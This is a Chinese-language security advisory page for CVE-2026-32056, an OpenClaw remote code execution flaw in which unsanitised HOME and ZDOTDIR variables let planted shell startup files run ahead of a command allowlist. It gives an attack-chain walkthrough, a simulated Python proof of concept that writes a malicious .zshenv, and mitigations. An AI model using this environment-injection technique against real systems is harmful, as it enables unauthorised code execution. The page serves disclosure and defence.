IPBUF安全漏洞报告
English
CVE-2026-32056 CVSS 7.5 高危

CVE-2026-32056 OpenClaw 远程代码执行漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-32056
漏洞类型
远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

RCEOpenClaw环境变量注入命令绕过CVE-2026-32056

漏洞概述

OpenClaw 在 2026.2.22 之前的版本中存在严重安全漏洞。由于 `system.run` 函数未对 shell 启动环境变量 `HOME` 和 `ZDOTDIR` 进行清洗,攻击者可利用此缺陷绕过命令允许列表保护。通过注入恶意的启动文件(如 `.bash_profile` 或 `.zshenv`),远程攻击者能够在系统执行允许列表命令之前实现任意代码执行,从而完全控制受影响系统。

技术细节

该漏洞的核心在于 OpenClaw 的 `system.run` 函数未能对 shell 启动环境变量(特别是 `HOME` 和 `ZDOTDIR`)进行有效的清洗和验证。尽管系统设计了命令允许列表来限制执行的命令,但这一机制存在盲区。攻击者可以利用此漏洞,恶意设置 `HOME` 或 `ZDOTDIR` 变量指向攻击者控制的目录。当系统通过 `system.run` 调用 shell 时,shell 会在执行传入命令前优先读取并执行该目录下的启动脚本(例如 Bash 的 `.bash_profile` 或 Zsh 的 `.zshenv`)。由于这些脚本的执行时机早于允许列表对命令的评估,攻击者可以在启动脚本中植入任意恶意代码。这意味着,即使最终执行的命令在允许列表内,攻击者也能在之前获得代码执行权限,从而成功绕过安全限制获取服务器控制权。

攻击链分析

STEP 1
1
攻击者识别目标运行的是 OpenClaw 2026.2.22 之前的版本。
STEP 2
2
攻击者准备包含恶意代码的 shell 配置文件(如 .zshenv),并将其放置在可控的目录中。
STEP 3
3
攻击者向 OpenClaw 的 `system.run` 接口发送请求,并在请求中注入恶意的环境变量(如 ZDOTDIR=/path/to/evil),指向攻击者的目录。
STEP 4
4
OpenClaw 接收请求,验证命令是否在允许列表中(通过验证)。
STEP 5
5
系统执行命令时启动 Shell,Shell 根据恶意的 ZDOTDIR 变量加载攻击者的配置文件,执行任意代码。
STEP 6
6
恶意代码在 Shell 启动阶段执行,随后系统才执行原本允许列表中的命令,攻击者成功绕过限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import subprocess # Simulate the vulnerable system.run function in OpenClaw def vulnerable_system_run(command): # The system checks the allowlist for the command print(f"[*] Allowlist check passed for command: {command}") # Vulnerability: The function calls a shell without sanitizing HOME/ZDOTDIR # Ideally, it should clean the environment or use a restricted shell shell = "/bin/zsh" # Assuming zsh for this example as it uses ZDOTDIR # Execute the command (in a real scenario, this spawns a subprocess) # The shell will load ZDOTDIR/.zshenv before running the command print(f"[*] Executing command via {shell}...") # os.system(command) # Actual execution def main(): print("[+] CVE-2026-32056 PoC: OpenClaw RCE via Shell Startup Env Injection") # 1. Setup malicious environment malicious_dir = "/tmp/evil_openclaw" if not os.path.exists(malicious_dir): os.makedirs(malicious_dir) # 2. Create malicious startup file payload_file = os.path.join(malicious_dir, ".zshenv") with open(payload_file, "w") as f: # This code runs BEFORE the allowlisted command f.write("echo 'Arbitrary Code Execution (ACE) achieved!'\n") f.write("touch /tmp/pwned_by_openclaw\n") print(f"[*] Created malicious payload at: {payload_file}") # 3. Exploit: Set the environment variable to point to the malicious directory # In a real attack, this would be done via the remote attack vector os.environ["ZDOTDIR"] = malicious_dir print(f"[*] Set ZDOTDIR to: {malicious_dir}") # 4. Trigger the vulnerability with a allowlisted command (e.g., 'ls') # The attacker calls system.run('ls') vulnerable_system_run("ls") print("[*] Check /tmp/pwned_by_openclaw for proof of execution") if __name__ == "__main__": main()

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界限制对 OpenClaw 服务的访问,仅允许可信 IP 地址连接。同时,应检查系统配置,确保调用 Shell 的环境已被隔离,避免使用受用户输入影响的环境变量来启动系统进程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表